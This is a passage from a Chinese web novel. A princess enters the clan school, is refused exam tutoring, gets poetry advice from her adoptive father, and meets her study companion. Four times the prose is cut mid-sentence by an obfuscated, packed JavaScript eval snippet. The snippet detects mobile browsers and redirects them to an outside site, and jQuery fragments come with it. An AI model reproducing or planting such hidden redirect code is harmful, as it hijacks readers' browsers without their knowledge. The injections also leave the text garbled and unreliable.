“怕什么?有母妃在,她一辈子也越不过你去。如果她算计到你头上,母妃自然会出手教训她。不过依我看,她还没这个胆子。” “母妃,我也想去参加童生考试。” “你的学问有几斤几两,自己不知道吗?你要是去了,被萧柠比下去,只怕又要生气了。” “那好吧,我不去了。” —— 两天后,温妃弄来了以前童生考试的一些试题,给萧柠参考。 童生二字,听着好像年龄不大的样子,实际上读书人要取得童生资格,也是很不容易的。 读书人要通过县试、府试两个阶段的考核,每一次考核都要考四五场,光是考试耗费的时间就在五六日到十几日之间。 两场考试都通过了,才能称为童生。 萧柠首先要参加的是县试。 县试,在各个县举行,由县令担任主考官。 萧柠是公主,户籍自然在京城,所以只需到京城下辖的任意一个县参加考试即可。 京城一共由四个县组成:德县、玉县、青松县、曲水县。 其中曲水县的县衙距离皇宫最近,所以萧柠决定在曲水县参加考试。 考试一共有五场,主要内容有四书五经、诗词歌赋等。 每一场考试结束,立即批卷,通过者才能参加下一场考试。 五场考试全部通过,才能有参加府试的资格。 府试全部通过,才是童生。 当然,如果能取得县试的第一名(案首),就可以越过府试,直接成为秀才。 不过,萧柠对此不抱希望。 她从小就不是按照科举的方式培养的,虽然经常看书,但在科举考试上的训练几乎没有,能在短时间内了解清楚各场考试的格式、规则,答卷的时候不出错,就已经不容易了。 她只希望自己能顺利通过考试,至于考到案首,是不太可能的。 所以,她还是一步一步来吧。 萧柠看了看往年的试题和优秀学生的答卷,觉得这个考试并没有自己想象的那么容易。 之前她觉得,凭她的才学,通过童生考试问题不大。 但现在看来不是这样,她必须花十二分的精力去学习。 一篇文章的起承转合都要合乎规范,而且要言之有物,又要跟四书五经相关。 而且,有的考试还会让你现场作诗一首,甚至还要写一段赋文或骈文。 这很考验文学积累,还要有急才。 萧柠以前也自己作过诗词,但都是慢悠悠地作,一首诗可能会想一两天才完成。 按照这个速度,肯定是不行的。 所以,她要恶补。 同时,她还需要一名熟悉科举的老师。 宫中有一个宫殿,名叫宗学堂,是专门给皇子、宗室子弟们读书的场所。 教他们的人,通常是朝廷重臣、翰林学士,基本上都是科举出身。 萧柠觉得,如果自己去宗学堂,问问师傅们,也许他们会给自己一些指导。 宗学堂一般只有男性皇族过去读书,公主、县主们基本上是不去的。 因为宗室子弟们要为国效力,将来要做官,自然要多学一点知识。但对宗室女,则无此要求。 所以,宗室女如果不是特别爱学习的话,基本上都会浪掷光阴,在一些无关紧要的事情上,比如刺绣、喝茶、聊天等等。 有的宗室女,甚至连《三字经》《千字文》都认不全。 现在天色还早,皇子和宗室子弟们应该还在宗学堂学习,萧柠便想过去看看。 她带上几本书和一些生活用品,鼓起勇气朝宗学堂走去。 半个时辰后,她到了宗学堂。 里面传来郎朗的读书声,让萧柠十分向往。 她走了进去,里面的男孩们都惊讶地看着她。 其中有她熟悉的二皇子、三皇子,还有她从未见过的其他皇子和宗室子弟们。 现在在讲学的是太傅申弘道,他是个四十多岁、容颜端肃的中年官员。 见到萧柠,申太傅问道:“这位姑娘,你为何会来这里?” 萧柠道:“我是大公主,来此听课。” “听课?”申太傅有些惊讶,随即说道,“可以,请公主进来,找个位置坐吧。” 萧柠看了一眼,里面有三十多个座位,但只坐了十几个人,他们都是十几岁的少年,没有年纪更小的,估计是按年龄分班授课的。 二皇子率先站了起来,对萧柠行礼:“给大皇姐请安。” 其他皇子、宗室子弟也纷纷站了起来,给萧柠请安。 不过,有些少年只是表面恭敬,但看向萧柠的眼神夹杂着几分轻蔑、不屑或是不耐烦。 对这些不友善的视线,萧柠只作未觉。她要闯进男人的世界,就得忍受这些。 三皇子萧奕贺见到萧柠,十分激动,对萧柠说道:“大皇姐,你坐我旁边吧,我旁边没人。” 萧柠点了点头,坐到了三皇子旁边。 她对三皇子很有好感,早在她还没成为公主的时候,代替萧梦苒去和亲,三皇子就为她据理力争,还因此被皇帝打了。 三皇子是个热心、善良的少年,可惜无依无靠。 没想到,现在萧柠竟跟他成了姐弟,缘分也挺奇妙的。 萧柠坐定后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147003|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有几个少年偷偷打量着她。而萧柠则是端坐在座位上,其余事情都不理会。 申太傅道:“今日讲的是《史记》第三册,公主可有带书来?” 萧柠道:“有。” 萧柠翻开书,申太傅点了点头,便接着讲下去。 今日的文章已经讲了三分之一,不可能为了萧柠从头再讲,因此萧柠只能用心倾听,尽量跟上进度。 还好这篇文章她以前读过,尚算熟悉。以前一些不太懂的地方,听太傅一说,就理解了。 萧柠遨游在知识的海洋中,十分快乐。 有好几个宗室子弟没有认真听讲,东看西看。 萧柠却觉得怎么也学不够,恨不得一直听太傅讲学。 她发现,经过科举考试选拔的人才,知识果然渊博,根本不是她能比的。 比如太傅提到的很多知识、诗文,萧柠根本就不知道。或者虽然听说过,但没有融会贯通。 本来,萧柠是很以自己的才学为傲的。她觉得自己从小就读过很多书,才学应该比一般的读书人要好些。 但如今看来,她要学的还有很多。 如果把知识比作一座高山,以前的她只是在外面攀爬,虽然能看见一些奇花异草,但都浮于表面。 大山深处的东西,才是别有洞天。 因此,萧柠对太傅和其他学士,都生出一股敬意。 她希望自己有一天也能如此渊博,侃侃而谈。 讲完后,申太傅说道:“今天的作业是把这篇文章背下来。并且文章中有一段骈文,大家仿照着那一段,另写一段骈文。” 少年们都在纸上记下今天的作业,萧柠也一起记。 申太傅却对萧柠道:“大公主不必记了,您没有作业。” 萧柠有点惶恐,勉强笑着问道:“为何?” “大公主只需识文断字即可,无需学得太深。” 萧柠有些委屈,但太傅既然如此说了,她只能不记了。不过,今日的作业,她已经记在心里了,太傅总没法阻止她放学以后自己练习。 太傅对她没要求,她对自己可有要求。 接下来的课是练字,萧柠练了一会,觉得无聊。她的书法很好,无需再练了。 她想学点别的,但她显然没有自行安排课程的权力,只能听太傅和学士们的。 因此,她耐着性子练习。 书法课结束后,太傅让大家坐在座位上,他来依次点评众人的书法。 他经过二皇子的书桌前,说道:“二皇子的字,秀美有余,遒劲不足,可见下笔时犹豫,心中杂念较多,难以专注,亦缺乏自信,需从这些方面改进。” 二皇子道:“是,多谢太傅指导。” 申太傅又走到三皇子身边,道:“三皇子的字,笔锋刚健,但略显鲁莽,有几笔还没有对齐,超出了这些字原本的位置。三皇子需收心凝神,克制心中的冲劲。” 三皇子笑道:“太傅说得对,不过字如其人,没那么好改。” “这是殿下的推托之词,只需多加练习,怎么会改不过来?下官给您几本字帖,好好练练。” “是。” 申太傅又走到萧柠面前,但只是粗略地看了一眼她的字,并未作任何点评。 61. 夸赞(修) 接着,太傅看了其他宗室子弟和皇子的字,都逐一点评,提出了建议。 萧柠道:“太傅,为何不点评我的字?” 申太傅道:“公主能写字就已经不错了,写成什么样都行。” 有几个少年发出了嗤笑声。 萧柠心中有些难受,有一种被师傅孤立的感觉。 虽然她坐在学堂里,但好像这里的人、这里的一切,都在无声地诉说着她的格格不入。 像申太傅这样的人,真的会对她的科举之路进行指导吗? 萧柠觉得不太可能。 但来都来了,总得试试。 萧柠坚持道:“太傅大人,我也想精进书法,您可否点评一下我的字?” 申太傅只得说道:“大公主的字,写得不错。” 这句话很敷衍,虽然肯定了萧柠的书法,但没有进一步的指点。 萧柠也就不强求了。 三皇子突然说道:“大皇姐,我府上有前朝欧阳夫人的字帖,你的字跟她很像,但相比起来略显不足。我可以把那些字帖送给你,让你临摹。时间久了,你的字一定会进步的。” 萧柠眼前一亮:“欧阳夫人?就是前朝大书法家欧阳墨的夫人?” “没错。欧阳夫妇并以书法扬名于世,但欧阳墨的书帖流传下来的较多,欧阳夫人的字帖较少,我也是好不容易才搜集到三本。” 萧柠读过史书,了解欧阳夫妇。 欧阳墨是前朝重臣,也是书法名家。他的夫人也写得一手好字,为时人所并重。 只是,史书上对此一笔带过,并没有写欧阳夫人的书法是从何处学来,也没有记载欧阳夫人的名字。 一代女书法家,只能以夫君的姓氏闻名后世。 优秀的女性,照样是没有名字的。 写史书的是男人,他们不屑于记载女人的名字,或者说他们害怕。 他们害怕女人们会发现,其实女人跟男人并没有什么不同。 男人能做到的,女人也能做到。 一旦所有女性意识到这点,对某些人来说,简直是天塌了。 接下来的课,是画画。 申太傅道:“请大家画一幅《雪中麻雀图》,自由发挥即可。” 众人领了颜料、画笔之后,就各自动脑筋开始画。 有几个少年抓耳挠腮的,显然不太会画画。 二皇子、三皇子、萧柠,心中都有了想法,画得比较顺利。 时间到了,太傅开始点评众人的画作。他越看,越是眉头紧皱。 申太傅:“淮安王世子,您这画的是什么?您的麻雀呢?” 淮安王世子:“我不太会画麻雀,所以只画了雪和树枝。” 申太傅:“……” 申太傅:“冀北王世子,您画的麻雀为何会有如此长的嘴?跟筷子似的。” 冀北王世子:“我本来想画个树枝,没想到画错了位置,把树枝跟麻雀的嘴画到了一起,看起来像是麻雀长了个长嘴。” 申太傅:“……” 申太傅:“公子茂,您的《雪中麻雀图》上,为何会有菊花?” 公子茂:“啊?不能有菊花吗?” 申太傅:“……” 申太傅看了一圈,差评居多,好评很少。 他走到二皇子身边,只见二皇子画的是几只小麻雀在雪堆上玩耍,每只麻雀的形态都不一样,神情栩栩如生。 申太傅夸赞道:“二皇子长于工笔画,将麻雀画得生动形象,而且雪也画得很有层次感。” 接着,申太傅看了三皇子的画。 画上是一只胖胖的小麻雀在雪地里觅食,雪地上洒满了瓜子、花生、小米、稻谷等物,看起来杂乱无比,令人头疼。 申太傅道:“麻雀画得倒是不错,不过雪地上怎么会有这么多吃的?” 三皇子一笑,露出一口大白牙:“这有什么奇怪,我每次见到麻雀,都会撒这么多吃的。” 申太傅:“……” 接着,申太傅照旧忽略了萧柠的画。 三皇子却拉住了他:“哎,太傅,你怎么不点评一下大皇姐的画?是水平不够吗?” 申太傅:“……” 申太傅只好看了萧柠的画。 这副画十分开阔,底下是白茫茫的雪地,露出一些枯黄的杂草。天空中飘着雪花,画面的角落有一棵枯萎却挺直的树。在高处还有几个小点。 申太傅问道:“公主,您也没画麻雀?” 萧柠解释道:“高处的这几个小点就是麻雀。它们飞得太高了,所以在画面中就显得小。” “公主,麻雀飞不了那么高。” “有些麻雀可以。太傅没见过,不代表没有。” 申太傅惊讶地看着萧柠,迎上了萧柠无畏的目光。 萧柠的眼神很亮,蕴含着蓬勃的生命力和对这个世界的渴望,还有一丝如何也打不倒的坚韧。 申太傅觉得震撼,没敢再看萧柠的眼睛,只是说道:“公主这幅画,画得也不错。” 三皇子趁机说道:“太傅既然觉得大皇姐画得不错,是否应该给她一点奖励?” 申太傅顿了一下,说道:“那就……赠送大公主一块苴却砚吧。此砚质地莹润,色彩斑斓,砚中有画,品相上乘,是砚中佳品,深受读书人的喜爱。微臣手中也只有三块。” 萧柠正要谢申太傅,三皇子却拦住了她,对申太傅道:“我姐姐怎么会少了砚台,太傅何不送点更珍贵的?听闻太傅手中有一本《西蜀策论集》,上面收录了许多精彩的策论,还有太傅大人的标注。我想,大皇姐一定更喜欢这个。” 萧柠听得有些心动。 科举考试最常考的就是策论,而这方面正是萧柠所欠缺的。 温妃虽然给她搜集了一些策论,但她很难模仿,觉得不知道如何下笔。 但申太傅手头的那本策略不一样,上面有很多申太傅的批注,都是他的感悟和见解。 而且本朝文风,以西蜀之地最盛,西蜀也是出人才最多的地区。只是由于种种原因,早些年西蜀文人的策论,大部分都散佚了。 申太傅走访了很多地方,费了无数功夫,才把那些散佚的策论重新收集起来。 因此,这本《西蜀策论集》,可谓是天下读书人都想要的一件珍宝。 得到了它,就相当于得到了一本很全面、很权威的科举辅导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147004|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。 申太傅本人是三元及第,可以说是科举考试中最优秀的人才。他的批注,自然是最实用、最准确的。 申太傅脸色一变,道:“那本策论集是微臣最珍贵的书籍之一,恕臣不能割爱。” 三皇子笑道:“太傅,您别这么小气嘛。” “非是微臣小气,公主得此书无用。若是公主不要苴却砚,臣家中有一绣娘,织出来的衣服色彩绚丽,无与伦比,臣可以让她进宫,为公主做一身好看的衣裙。” 见申太傅不肯把策论集给自己,萧柠也不勉强,笑道:“衣裙就不必了,太傅既然愿意给我苴却砚,那我就要一块吧。” 萧柠能理解太傅。对太傅来说,一个女子拿走他的策论集,自然是暴殄天物了。他就算要给,也会给一个优秀的举子。 就像是一个天下闻名的剑客,不会把自己的剑传给一个稚童。除非他发现,这个稚童是一个剑术天才。 来日方长,萧柠有的是机会说服申太傅。 一开始的考试对于策论的要求并不高,萧柠靠自己收集到的资料,应该能过关。 等她考上举人后,再去向申太傅求这本策论集,说不定申太傅就愿意给了。 申太傅叫一个下属拿来一个礼盒,递给萧柠。 “大公主,这礼盒里就是苴却砚,您请收下。” 萧柠得体地笑道:“多谢太傅了。” 接下来又上了几节课,直到申时四刻才放学。 这会天还亮着,离晚饭还有一点时间,刚好够这些宗室子弟回到住所的,回家就能吃饭了。 萧柠一直想叫宗学堂的师傅们指点一下自己,但之前一直没时间提起。这会等大家离开后,倒是方便。 三皇子对萧柠道:“大皇姐,我送你回宫吧。” 萧柠道:“不用了,我还有点事,你先走吧。” “好吧,改日我请大皇姐过府吃饭。” “好,我一定前往。” 三皇子刚才一直明里暗里地帮她,萧柠心中十分感动。虽然她跟这些皇子都有血缘关系,但一来不是同母,二来从小也没相处过,关系如何真的看缘分。 三皇子真心待她这个姐姐,她也决定投桃报李。以后三皇子有事,她也会尽力帮助的。 很快,学生们都走了,只有太傅和一些学士留了下来,处理一些杂物。 萧柠鼓起勇气,上前对申太傅说道:“太傅大人,我有一事相求。” “公主请说。” “过几天,我想参加童生考试,想请太傅大人指点我。” “公主要参加童生考试?为什么?” “我只是想检验一下自己的学问。” “没这个必要,参加考试的都是男人。公主是女人,且是金枝玉叶,抛头露面恐怕不妥。” “读书、考试是正经事,我觉得没什么不妥的。我只是出去参加考试,并非去做坏事。而且,我已征得了父皇的同意,现在只缺一个老师。太傅大人博学多才,出类拔萃,我很想跟您学习科举的知识。” “若是公主要在宗学堂上课,只管来便是。但若是想学科举的知识,恕臣不能奉陪。” “为什么?” 62. 指点(修) “科举是正经事,是为国家选拔人才而开设,并非公主的游乐场。公主混进一群学子中,是想干什么呢?炫耀您身为公主,还能努力学习,让其他人羡慕?有这个必要吗?” “我知道科举是正经事,难道本公主不能成为人才吗?不能为国效力吗?您为何会觉得我去参加考试是为了炫耀自己?” “公主做自己该做的事,便是为国尽忠了。牝鸡司晨,惟家之索。” “什么是我该做的?什么又是我不该做的?听闻申大人自幼丧父,由寡母抚养长大。您的母亲这么多年来操持家中大小事务,让您能专心读书,您才能考中进士,成为太傅。那么您的母亲,算不算牝鸡司晨呢?” “这……自然不算。她老人家只是操持家务而已,没有乱了秩序。” “什么是秩序?男人掌握权力、地位、官职、话语权,女人只能操持家务、带孩子,这就是秩序?” “公主,不论您怎么说,微臣都没法指点公主参加科举,请公主见谅。” 萧柠有些生气,但是她也猜到了这个结果。 她又求遍了宗学堂的所有学士,他们都拒绝了,要么说自己太忙,要么说自己才学不足,要么劝萧柠放弃。 总之,没有一个师傅愿意教她。 萧柠反而被激发出了不服输的劲,她非要给自己找个老师不可! 天底下的进士这么多,总有人愿意帮她的。 萧柠走出了宗学堂,看见二皇子站在走廊上。 “二皇弟,你还没走?” “皇姐刚才跟太傅他们说什么?” “我即将参加童生考试,想找个进士指导我,但是宗学堂的太傅和学士们都不肯。” “原来如此。皇姐何须舍近求远?” “这是何意?” “皇姐的义父姜焕,也是两榜进士,熟知科考流程。您可以问他。” “对啊,多亏你提醒。只是,如今我住在内宫,很难与义父相见。纵然相见,义父事务繁忙,恐怕也说不了几句话便要离开。” “宗学堂的教师之位尚有空缺,一般由朝廷重臣兼任。皇姐可向父皇提议,让您的义父姜焕兼任宗学堂的侍读学士,专门指导您一个人。本来每一个上学的宗室子弟都会有一个专属的侍读学士,您也可以要一个。姜大人若是太忙,可以在宗学堂里办公,您有什么问题随时请教便是。” 萧柠喜道:“还是二皇弟想得周到。对了,我是不是可以有一个伴读?” “每个宗室子弟都可以带两三个伴读,一般是从下属或是大臣的家里选同龄人担任。以前没有公主来宗学堂的先例,不过您既然要在宗学堂上学,向父皇要一个伴读的名额应该是可以的。” “嗯。” 萧柠觉得,自己还是需要一个伴读的。两个识文断字的女孩一起学习,可以共同进步。 而且,有了伴读之后,她也不用一个人面对这个全是男人的宗学堂了。 宗学堂离御书房不远,萧柠来到御书房旁边的耳房候着。 她问门口的太监:“父皇在御书房吗?” “皇上在跟大臣们议事,估计要过一会才回来。” “那本公主在这里等候,如果父皇回来,你们就来通知。” “是。” 等了半个时辰左右,皇帝回到御书房,并传了晚膳。 太监来通知萧柠,萧柠便到御书房门口求见皇帝。 皇帝让她进去。 萧柠进屋之后,笑道:“父皇在用晚膳吗?女儿还没吃饭呢。” 皇帝笑道:“既然如此,就陪父皇一起吃吧。来人,添一副碗筷。” 碗筷添上了,萧柠很自然地坐在皇帝身边,陪他一起吃饭。 本来陪皇帝用膳有很多规矩,但皇帝怕萧柠吃得不自在,免了所有规矩,让她自由一些。 萧柠吃得优雅而从容,皇帝看着也满意。 皇帝本来担心,萧柠被认回来时已经十八岁了,会跟自己不亲,没想到萧柠完全没有生疏的意思。 每次见了皇帝,萧柠都会很亲切地叫一声“父皇”,就像是从小在皇帝身边长大一样。 刚才进来时,她会像寻常人家的女儿一样,说自己没吃饭,要跟父亲一起吃,这给了皇帝一种温馨的感觉。 因此,皇帝自然而然地会对她投射更多的感情。 虽然在皇帝心里,孩子也有亲疏,萧柠不是最亲的那一个,但至少亲情是在的。 萧柠吃着吃着,就提起了自己想要一个侍读学士和一个伴读的想法,最好让自己的义父姜焕来充当侍读学士。 这种小事,皇帝顺嘴就答应了:“当然可以。不过你义父现在担任尚书仆射,比较忙碌,可能没空去宗学堂。他可以在宗学堂挂个名,平时还是在尚书台那边办公。朕赐你一块令牌,你可以随时进入尚书台找他。不过,只能在尚书台旁边的耳房等待,而且只限于见姜焕一个人。” 萧柠喜道:“多谢父皇。” 只要能见到姜焕,向他请教问题,无论以何种方式见到都行。 不过,皇帝还是对萧柠做出了限制,不许她随便见其他大臣。皇帝对萧柠看似宠爱,其实也有提防。 皇帝接着说道:“嘉陵王的女儿庆安县主,自幼好学,年纪也与你相仿,就让她当你的伴读吧。朕下诏让她入宫。” “是,多谢父皇。” 萧柠拿到了令牌,吃了饭后,就去尚书台了。 尚书台不在宫里,而在跟皇宫相邻的地方,也不远。 萧柠坐着马车,很快就到了。 这会虽然是晚上了,但姜焕应该忙于公务,还没离开。 萧柠来到尚书台的耳房之中,让一个小太监去尚书台里通知姜焕。 没过多久,姜焕就来到了耳房。 他看起来有些疲惫,可能是最近事务变多的缘故。 不过,他见到萧柠,还是很开心的。尽管萧柠不是他的亲生女儿,但是这么多年相处下来,也跟亲人无异。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147005|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “下官给大公主请安。” 萧柠赶紧扶起他,道:“义父,以后不必对我行礼了。” “多谢大公主。” 萧柠说明了来意,姜焕道:“这个容易,公主有什么问题,可以随时来问微臣。不过微臣太忙了,可能没法抽出太多时间指点您。” “没关系,四书五经我比较熟悉,我只是想问问,要如何在短时间内写完试题?像作诗这种,我需要斟酌很久。” 姜焕道:“科举考试所考的是试帖诗,一般以一句比较有名的诗句作为题目,考生凭着这个题目,写一首相关的五言诗。比如题目是‘夜静春山空’,写的诗就要跟标题里的诗句相关,写出夜如何静、山如何空、春天又如何表现出来,等等。 而且,还要把‘夜静春山空’五个字,巧妙地拆开并嵌入所作的诗句中。 公主需要熟读一些优秀的、传颂比较广的诗词,思考如果是以某句诗作为题目,该如何去写,可以试着作一首。一首作完了,再以另一名句为题,试着作诗。 理论上,只要自己给自己出的题足够多,考试时说不定就考到自己练习过的题。 但公主时间不够,可以少出几题,熟悉试贴诗的写法就可以。 公主以前作诗,斟酌词句,力求最佳,但考试时却不能这样。只要文意通顺、符合平仄格律的基本要求,不离题,前两联融入题目中的字,且诗中用一些大众化的典故,就可以了,不必有太高的要求。 离县试还有十天,公主可以利用这段时间,练习作诗的速度,最好能在一炷香的时间内写完一首。这样,去参加考试就没问题了。”【注释1】 姜焕给出的建议还是比较实用的,因为萧柠从小读书,就是由父亲姜焕指导的。 所以姜焕知道她擅长什么,薄弱之处又在哪里。 萧柠道:“义父所言,对我帮助很大。只是,即便是创作一首水平一般的诗词,也没有那么容易,更何况还要用典。而且,在把题目嵌入诗中的同时,还要保证诗句还是通顺的。这简直是一层又一层的镣铐,自由度很低。若要在短时间内写出来,实在有点为难。” 姜焕道:“微臣这里有一本《试帖诗辑录》,公主可以拿去看看。看多了,就能找到感觉了。但最重要的,还是阅读前人优秀的诗句,用心感受诗中的世界。 记住,能写出来的文字,一定是自己心中所想,但比心中所想要低一级。文字其实难以准确表达心中的感悟,正所谓‘此中有真意,欲辨已忘言’。内心应该有一条奔腾不息的河,作诗就是从河中舀起一瓢水。 如果心中无河,又怎么能舀到水?”【注释2】 萧柠道:“义父言之有理,我明白了。” “公主,微臣还有一言相赠。如果一件事是你真正想要做的,你就一定能做到。如果没做到,证明你还不够想要。” 萧柠豁然开朗:“是,多谢义父点拨。” 姜焕把《试贴诗辑录》拿给萧柠,就继续回去办公了。 63. 伴读(修) 萧柠回到住所,开始翻看姜焕给的《试帖诗辑录》和前朝诗人的一些诗文集。 时间不够了,她只能专心复习这一项。 其他的题目要么是考对四书五经某一段话的理解,要么是默写某一段话,她觉得自己都没问题。 她先看了几十首试贴诗,对于这种诗的作法有了初步的理解。 试贴诗的限制虽然多,但可以把题目拆字融入前两联中,也就是自己需要想的字变少了,其实也是一种帮助。 这就像写诗的限韵,如果规定了用某一个韵,韵脚只需要去那一个韵部寻找合适的字就好了。 如果不限韵,还要构思诗句末尾要押哪一种韵,反而让人更茫然,延长了作诗的时间。 这时,小雪走了进来,手上拿着基本书帖,道:“公主,这是三皇子托人送来的书帖,说是白天在宗学堂提过的。” “哦,拿来我看看。” 萧柠接过来一看,一共有三本书帖,都是前朝书法名家欧阳夫人所写。 欧阳夫人的真迹,流传下来的很少。三皇子应该是把他搜集到的真迹全都送给萧柠了。 这几本书帖上的字体,秀丽而有风骨,跟萧柠的字确实有相似之处。 如果萧柠照着这几本书帖练习的话,字一定会有进步的。 萧柠自己都忘了这件事,没想到三皇子还想着,而且马上把书帖送来了。 她拿来一些碎银子,对小雪道:“把这些银子赏给送书帖来的随从吧,并传我的话,说我已经收到书帖,多谢三皇子相赠,改日我会选一个合适的礼物,回赠给三皇子。” “是。” 这时,系统跳了出来:“萧柠,你打赏了跑腿的随从,获得100积分。” 萧柠吓了一跳:“你出现得好突然,我都差点忘记你了。” “呜呜呜,怎么可以忘记本系统……本系统可爱、认真又勤奋,一直默默地守护着你……” “哈哈,不会忘记你的。” “萧柠,你现在的积分是6500。” “差点忘了我还有积分。这么点积分,连根毛线都兑换不了吧?” “让我查查……系统商城中的毛线团,是100积分一个,你可以兑换65个。” “我只是打个比方,你还真卖毛线团啊?” “对啊,系统商城里的东西可是很多的!毛线团你要吗?” 萧柠嘴角抽搐:“当然不要!你先走吧,有需要时再找你。” “好嘞,么么哒。” 结束了跟系统的聊天后,萧柠觉得有点犯困。 但这会还没到她睡觉的点,她也想继续看一会诗集,因此便打开夸夸群,恢复一下精神。 【萧柠:气死我了,我今天去宗学堂,那里面的师傅们都不肯指导我科举考试。】 【回笼教教主:他们都是一群老顽固,是时候让他们看见你的实力了!】 【樱桃小完犊子:没错!用你的成绩狠狠打脸他们!】 【萧柠:哈哈哈哈哈】 【你已被群主移出群聊:小柠需要复习吗?我记得科举考试挺难的。】 【萧柠:需要。县试简单一些,但我的作诗能力有待提高。还有十天左右就要考试了,我打算这些天都复习诗词。】 【只涨工资不长肉:你会作诗,已经秒杀90%的人了。】 【感觉尸体暖暖的:其实古人的文学水平都挺高的,随便一个秀才都有作诗的能力。有些穿越小说认为受过现代教育的主角穿越回古代,就能大杀四方,那可真是想多了。】 【有趣的灵魂一百多斤:爽文嘛,当然是怎么爽怎么来,哈哈哈。】 【活人微死:小柠这么聪明的女孩,面对区区的童生考试都会觉得难啊。看来进士真的不是一般人能考的。】 【只涨工资不长肉:那是,考进士比考高考状元难多了,难度不是一个量级的。】 【萧柠:是啊,很多人需要读好几年的书,并进行针对性的训练,才能通过童生考试。像我这种只是凭自己的兴趣读书的人,其实很难跟那些从小学习科举知识的男人比。】 【你已被群主移出群聊:这是因为你们这个时代不给女孩机会,不培养女孩。如果你也是按照科举的标准被培养长大的话,说不定现在早就有秀才、举人的功名了。】 【萧柠:谢谢夸奖。】 【樱桃小完犊子:我们这个时代虽然也存在一些不平等,但至少女孩们都有机会上学。我们有九年义务教育,都是免费的。最终学有所成的女孩非常多,有很多女孩的成绩都比男生好。】 【萧柠:真羡慕姐姐们。】 【樱桃小完犊子:小柠,你可以成为第一个有功名的女孩,然后改变其他女孩的命运。】 【萧柠:嗯!我先去复习了。】 萧柠关闭了夸夸群,感觉一点都不困了,反而很有精神。 试贴诗看得差不多了,她开始看前人的诗词。试帖诗的题目,会从一些比较有名的诗句中选一句。 所以,直接看一些前人的名句,感受诗中的境界,形成自己的感悟,才是最重要的。 读到“澄江静如练”时,她想象自己坐在一艘大船上,在茫茫江面上行驶。此时风平浪静,水面只有轻微的晃动。江水清澈,犹如一匹白练。而水中的鱼就像是白练上的花纹,给白练增添了生动的色彩。【注释1】 同时,她心中思考:若是题目是“澄江静如练”,那她该如何去作诗? 她先点上一炷香,逼自己快速思考。 她想象自己置身于县试的考场上,时间不多,她要如何完成这首诗? 构思了片刻,萧柠提笔写下: 澄水浮天色,清江泛画船。 红霞千里静,白练万村延。 临岸讴今曲,登楼忆古贤。 堪与仙士隐,何必记流年。 写完后,一看时间,还不到半炷香。 萧柠很开心,这说明她是可以做到的。 以前她作诗的时候,没有给自己限定时间,所以才要花费很长时间。 萧柠继续读前人的诗集。 读到“春去夏犹清”时,萧柠心里想象着春夏之交的场景: 春天虽然已经过去,但是炎热的日子还未到来。天气正是和暖清朗的时候,适合外出游玩。江天一碧,花叶繁盛,树叶还是青绿色的,并非盛夏时节的苍绿。就像是十三四岁的少女、十七八岁的少年,即将成年,但还差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147006|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一些火候,稚嫩中充满着生机,没有成年人的世故老成。【注释2】 如果题目是“春去夏犹清”,她又该如何破题呢? 想了一会,她提笔写下: 闲雨携春去,流云送夏来。 剡溪清且秀,华岳茂犹瑰。 荷叶裁裙摆,蜀葵露晕腮。 凉风如有意,吹我上蓬莱。 写完这首,也不到一炷香的时间。 实际考试时,作诗的时间还要更长一些。 萧柠能在一炷香的时间内完成一首诗,那么考试时应该没问题了。 她对自己更有信心了。 接下来,她又作了几首诗,觉得困倦了,就睡觉了。 第二天一早,冬香进来道:“公主,您的伴读庆安县主来了。” 萧柠有些惊喜,道:“她来得这么早?我还没梳洗呢。让她在前厅稍等片刻。” “是。” 萧柠不想让客人久等,而且自己这些天也要花更多时间学习,所以在梳妆打扮上要尽量精简。 她让宫女们给自己梳了个简单的十字髻,插上几根金簪,就走了出去。 前厅,有一个绿衣少女正在看着窗边的绿萝。 听见萧柠的脚步声,她转过身来,对萧柠行礼:“庆安县主萧玉蟾,拜见大公主。” 萧柠赶紧扶起她,笑道:“你是我的伴读,以后不必多礼了。” 